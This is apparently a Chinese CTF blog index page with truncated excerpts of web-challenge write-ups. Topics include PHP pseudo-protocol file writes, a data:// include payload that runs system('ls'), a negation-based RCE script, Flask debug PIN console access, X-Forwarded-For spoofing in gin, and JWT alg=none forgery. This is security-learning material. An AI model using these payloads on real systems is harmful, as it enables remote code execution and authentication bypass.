伪协议配合回调函数写入命令

首先我们看到file_put_contents函数要条件反射
1.它可以配合伪协议

file_put_contents()

//用来写文件进去,其中文件名参数是支持伪协议的,用于将第二个参数content进行过滤器后再写进文件里面去

file_put_contents($_POST[‘filename’], “”);

当然这道题可以学到很多东西,首先我们先分析一下
v3得是一个文件把,写入一些命令执行的东西,那我们可以通过伪协议直接生成文件

?V3=php://filter/write=convert.base64-decode/resource=1.php
新姿势通过[……]

继续阅读

php特性

这道题看似需要对v1,v2,v3做检测

实则由于&& > || > = > and > or

=的运算符比and高,所以按照优先级的缘故,并不会执行到v2,v3

[……]

继续阅读

文件包含&rce

先说payload:?c=include$_GET[1]?>&1=data://text/plain,<?php system(“ls”);?>

前半段的?c=include$_GET[1]?>是为了和前面的形成闭合,这样在后面通过包含的1配合data伪协议进行传入参数,参数为一个执行的函数,这里给了我一个思路,如果我把<?php system(“ls”);?>修改为base64的话,也许能进一步绕过。

[……]

继续阅读

rce取反脚本

<?php

$ans1=’system’;//函数名

$ans2=’ls’;//命令

data1=(‘~’.urlencode(~ans1));//通过两次取反运算得到system

data2=(‘~’.urlencode(~ans2));//通过两次取反运算得到dir

echo (‘(‘.data1.’)’.'(‘.data2.’)’.’;’);

[……]

继续阅读

ctfshow–愚人杯

web

easy_signin

题目打开是这样,很像buu上面的一道webdog,一眼base64.解密一下(face.png)

看看能不能读到源码,首先就是index.php加密(aW5kZXgucGhw)

那就看看源码

似乎又是base64,解码果然是这样。

被遗忘的反序列化

整体来看,我需要执行到aaa(),里面的参数经过cipher加密后校验可以执行命令。很明显cipher函数是在check.php里面定义的,(跟我之前出题的一样,属实难绷

随后的这里就很明显了,检查key之后提供读取文件的地址。

题目到现在[……]

继续阅读

flask–通过算pin码进入控制台

知识源于周赛的一道题目–NSSCTF(PingPong)

进入题目首先知道两个信息–框架是flask–首先考虑是不是存在ssti第二个是题目描述中的信息(开启了debug模式)

其实之前并没有接触过这个东西,但是还是通过其他方式非预期做出来了。(也有出题人的原因hhh

flask在开启debug模式下,可以通过输入pin码进行代码调试模式,也就是console控制台。进入控制台之后再进行命令执行

但是这个东西怎么算呢?需要获得几个东西

很多都是默认的,重点需要关注三个东西

下面是完整的解题过程

观察发现题目存在[……]

继续阅读

CTFSHOW-RCE挑战

第一关源码:

分析:post一个请求然后不能出现,和.

初步思路是直接用反引号输出,也就是echo出来一个shell命令

尝试如下:

直接附上payload:

第二关源码:

额,根据我的印象中,这个题需要用自增。

但是居然没有限制长度?只是限制了全数字和全字母

思路:用post构造一个get请求

然后在get请求里面用_和__代替掉system和ls

payload:?_=system&__=ls

第三关源码:

分析:自增加上长度过滤,但是放出来了0和1,可以用01做变[……]

继续阅读

[SCTF 2021]loginme

题目的提示是CVE-2020-28483,我提前去查了一下。A flaw was found in gin when exposed directly to the internet, a client’s IP can be spoofed by setting the X-Forwarded-For header.

意思就是说用了gin框架的会出现漏洞可以用XFF文件头伪造admin

打开题目看到提示:

X-Real-ip:127.0.0.1

注意到这个id和名字,我们切换试试

直到最后换到4,观察结果

让我添加年龄

似[……]

继续阅读

JWT框架

Json Web Token,是一种令牌格式,形式由三部分组成,之间由.连接,(解密网站为:JSON Web Tokens – jwt.io)形式大概就是如下:

三部分分别为1.header:声明了JWT的签名算法 2.payload:承载了各种声明并传递明文数据,例如:username、password等 3.signture:拥有该部分的JWT被称为JWS,也就是签了名的JWS

我们把alg改为none,因为当alg为none的时候,后端将不执行签名验证,也就相当于没有加密方式了,再把username改为admin,secretid改为[],利用脚本生成,脚本:

im[……]

继续阅读

蜀ICP备2022010829号